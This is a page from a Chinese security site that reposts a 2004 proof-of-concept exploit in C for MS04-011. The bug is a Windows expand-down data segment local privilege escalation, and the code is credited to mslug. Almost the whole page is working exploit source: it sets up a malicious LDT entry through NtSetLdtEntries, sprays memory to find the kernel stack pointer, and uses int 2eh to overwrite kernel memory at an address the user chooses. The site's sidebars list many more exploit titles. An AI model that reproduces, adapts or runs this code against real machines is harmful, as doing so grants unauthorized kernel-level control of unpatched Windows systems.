首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Windows LDT PoC Exploit by mslug
来源:www.safechina.net 作者:mslug 发布时间:2004-04-26  

Windows LDT PoC Exploit by mslug (MS04-011)

/******************************************************************
* Windows Expand-Down Data Segment Local Privilege Escalation
* [MS04-011]
*
* Bug found by: Derek Soeder
* Author: mslug (a1476854@hotmail.com), All rights reserved.
*
* Version: PoC 0.1
*
* Tested: Win2k pro en sp4
*
* Thanks: z0mbie's article :)
*
* Compile: cl winldt.c
*
* Date: 18 Apr 2004
*******************************************************************/


#include <windows.h>
#include <stdio.h>
#include <string.h>

#if 1
#define KernelStackPtr 0xFD000000 //估计值
#define BedSize 0x01000000
#else
#define KernelStackPtr 0xF0000000
#define BedSize 0x10000000
#endif

unsigned char bed[BedSize];
unsigned char pin[]="COOL";

int (*NtSetLdtEntries)(DWORD, DWORD, DWORD, DWORD, DWORD, DWORD);

WORD SetupLDT(WORD seg, DWORD ldtbase);

unsigned long patch_to;

int main(int argc, char *argv[])
{
DWORD ldtbase, KSP;
int i;
HMODULE hNtdll;

if(argc<2) {
printf("** coded by mslug@safechina.net **\n");
printf("winldt.exe <kernel address>\n");
return 0;
}

patch_to = strtoul(argv[1], 0, 16);

hNtdll = LoadLibrary("ntdll.dll");

(DWORD*)NtSetLdtEntries = (DWORD*)GetProcAddress(hNtdll, "NtSetLdtEntries");

memset(bed, 'A', BedSize);
bed[BedSize-1]=0;

ldtbase = (DWORD) &bed[0] - KernelStackPtr;

printf("[+] User-land bed : 0x%08X\n", &bed[0]);
printf("[+] 1st LDT base : 0x%08X\n", ldtbase);

SetupLDT(0x1f, ldtbase);
__asm {
push es
push 1fh
pop es
mov eax, 11h //1 param
lea edx, pin
int 2eh
pop es
}

for (KSP=0, i=0; i<BedSize-3; i++) {
if (bed[i] =='C' && bed[i+1]=='O' &&
bed[i+2]=='O' && bed[i+3]=='L' )
{
KSP = KernelStackPtr + i;
printf("[!] Knl stack ptr : 0x%08X\n", KSP);
//KSP = (DWORD)&bed[i]-ldtbase;
//printf("[!] Knl stack ptr : 0x%08X\n", KSP);
break;
}
}

if(!KSP) {
printf("[-] Can't locate Kernel stack pointer, try again\n");
return 0;
} else if (patch_to < KSP) {
printf("[-] Can only patch kernel above KSP\n");
return 0;
}

ldtbase = patch_to - KSP;

printf("[+] Patch to : 0x%08X\n", patch_to);
printf("[+] 2nd LDT base : 0x%08X\n", ldtbase);

SetupLDT(0x17, ldtbase);
__asm {
push es
push 17h
pop es
mov eax, 11h
lea edx, pin
int 2eh
pop es
}

return 0;
}

WORD SetupLDT(WORD seg, DWORD ldtbase)
{
LDT_ENTRY EvilLdt;
DWORD base = ldtbase;
DWORD limit = 0;
int ret;

EvilLdt.BaseLow = base & 0xFFFF;
EvilLdt.HighWord.Bytes.BaseMid = base >> 16;
EvilLdt.HighWord.Bytes.BaseHi = base >> 24;
EvilLdt.LimitLow = (limit >> 12) & 0xFFFF;
EvilLdt.HighWord.Bits.LimitHi = limit >> 28;
EvilLdt.HighWord.Bits.Granularity = 1; // 0/1, if 1, limit=(limit<<12)│FFF
EvilLdt.HighWord.Bits.Default_Big = 1; // 0=16bit 1=32bit
EvilLdt.HighWord.Bits.Reserved_0 = 0; // 0/1
EvilLdt.HighWord.Bits.Sys = 0; // 0/1
EvilLdt.HighWord.Bits.Pres = 1; // 0/1 (presence bit)
EvilLdt.HighWord.Bits.Dpl = 3; // only 3 allowed :-(
EvilLdt.HighWord.Bits.Type = 23; // [16..27]

ret = NtSetLdtEntries( seg,
*(DWORD*)&EvilLdt,
*(((DWORD*)&EvilLdt)+1),
0,0,0);
if (ret < 0) {
printf("[-] Set ldt error : %08X.\n", ret);
exit(0);
}

return seg;
}



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Microsoft IIS 5.0 SSL Remote E
·Windows Lsasrv.dll RPC Remote
·SquirrelMail chpasswd local Ro
·Windows schannel.dll PCT1 协议
·Multiple Cisco Exploit Codes
·Microsoft windows lsass.exe lo
·Serv-U FTP服务器LIST命令超长-l
·TCP Connection Reset Remote Wi
·Win Utility Manager Local SYST
·UMOD arbitrary file overwritin
·WinZip32 MIME Parsing Overflow
·TCP vulnerability proof of con
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved